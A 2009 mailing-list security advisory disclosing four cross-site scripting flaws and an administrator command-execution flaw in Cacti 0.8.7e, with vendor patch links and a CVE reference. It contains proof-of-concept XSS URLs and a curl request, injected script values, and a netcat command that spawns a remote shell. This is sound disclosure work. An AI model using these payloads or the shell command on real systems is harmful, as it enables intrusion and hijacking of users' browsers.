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Cacti 0.8.7e: Multiple security issues
From: Moritz Naumann <security () moritz-naumann com>
Date: Thu, 26 Nov 2009 06:43:02 +0100

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Cacti 0.8.7e and earlier versions are affected by multiple security
issues. Issues 1-4 are cross site scripting issues, issue 5 is a
priviledge escalation issue.




1. XSS 1

A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '1' to be displayed:

http://CACTIHOST/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

This vulnerability was tested with Firefox 3.0.6.

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



2. XSS 2

The following curl invocation will generate a HTTP POST request
against

http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true

with an 'application/x-www-form-urlencoded' content type HTTP body part
containing
  date1=%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cx+y%3D%27'
Curl will write the resulting output to a file named poc.html.

curl -d 'date1=%27%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E%3Cx+y%3D%27' 
'http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true&apos; > poc.html

When this file is loaded and rendered by a web browser with Javascript
support, this will cause a dialog box saying '2' to be displayed.

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



3. XSS 3

If an attacker or the victim has permission to modify the graph
display settings via graph_settings.php, the attacker is able to
persistently inject javascript code via the 'page_refresh' and
'default_dual_pane_width' parameters.

Setting 'page_refresh' to the following value will, on any consecutive
visitors' web browser with Javascript support, cause a dialog box saying
'3' to be displayed:
  300'><script>alert(3)</script><x y='

Setting 'default_dual_pane_width' to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '3' to be displayed:
  200"><script>alert(3)</script><x y="

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



4. XSS 4

A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '4' to be displayed:


http://CACTIHOST/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

Alternatively, a similar injection can be achieved, if an attacker or
his victim has permission to modify the graph display settings via
graph_settings.php. If so, the attacker is able to persistently inject
javascript code via the 'title_size', 'legend_size', 'axis_size' and
'unit_size' parameters.

Setting any of these parameters to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '4' to be displayed:
  8</pre><script>alert(4)</script><pre>

This vulnerability was tested with Firefox 3.0.6

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



5. Priviledge escalation

Finally, due to the permissive way the web interface allows Cacti
to be configured, a cacti administrator is also able to execute
arbitrary commands on the system as the user the Cacti polling mechanism
 runs as (usually a non-priviledged user).

For example, it is possible to successfully spawn (and connect to) a
backdoor/remote shell on the Cacti system by changing the "Data Input
Method" for "Linux - Get Memory Usage". Setting "Input String" to
  nohup nc -l -p 6666 -n -e /bin/sh &
would spawn a remotely accessible shell whenever this handler was called
(every couple of minutes by default on my Debian test system).

Cacti developers say:
There is no effective way to fix the data input method without breaking Cacti.  It will be reviewed for the release 
of 0.8.8.



The XSS issues are currently tracked as CVE-2009-4032 (additional CVEs
may or may not be assigned), issue 5 has not been tracked so far (to my
knowledge).
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